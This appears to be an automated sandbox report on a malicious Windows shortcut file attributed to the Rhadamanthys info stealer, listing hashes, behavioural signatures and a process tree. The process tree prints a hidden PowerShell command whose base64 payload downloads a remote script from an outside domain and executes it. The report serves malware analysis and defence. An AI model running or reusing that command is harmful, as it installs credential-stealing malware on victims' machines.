Analysis
-
max time kernel
141s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
05-04-2024 11:39
Static task
static1
Behavioral task
behavioral1
Sample
DOC5723 - 57235723.lnk
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
DOC5723 - 57235723.lnk
Resource
win10v2004-20240226-en
General
-
Target
DOC5723 - 57235723.lnk
-
Size
10KB
-
MD5
dec2ee189e7b882fd5059db29646d4c2
-
SHA1
d7ae2f7991fecf19f24c37c3b8034c98f1b3f12f
-
SHA256
eb64ad37414cc8937627a687e9c37e485053140632e4977c19b79180adb080e0
-
SHA512
e37dd83c3e98c59df3cbedd0ea6623617833e84d20a26102b7f9a7d960a19e241dccec19b19d812117f39499a373602f03436db64e121e18d91b4d40da7ca47e
-
SSDEEP
192:8z5z9h43MSBfSW7rD6N+7yURE5sJloSR6wVlZevESj0s+l2UeU/poOEDhK9Mtd:u53+MS5hrDqLiJ/R6kn0n2kU/p0DhHtd
Malware Config
Signatures
-
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1560 created 2420 1560 powershell.exe sihost.exe -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 2 1560 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.exedialer.exepid process 1560 powershell.exe 1560 powershell.exe 1560 powershell.exe 1560 powershell.exe 1560 powershell.exe 4416 dialer.exe 4416 dialer.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1560 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.exepowershell.exedescription pid process target process PID 2416 wrote to memory of 1560 2416 cmd.exe powershell.exe PID 2416 wrote to memory of 1560 2416 cmd.exe powershell.exe PID 1560 wrote to memory of 4416 1560 powershell.exe dialer.exe PID 1560 wrote to memory of 4416 1560 powershell.exe dialer.exe PID 1560 wrote to memory of 4416 1560 powershell.exe dialer.exe PID 1560 wrote to memory of 4416 1560 powershell.exe dialer.exe
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵PID:2420
-
C:\Windows\system32\dialer.exe"C:\Windows\system32\dialer.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4416
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\DOC5723 - 57235723.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2416 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1560
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3744 --field-trial-handle=3192,i,2785050981002401924,4037047756083432660,262144 --variations-seed-version /prefetch:81⤵PID:4308
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82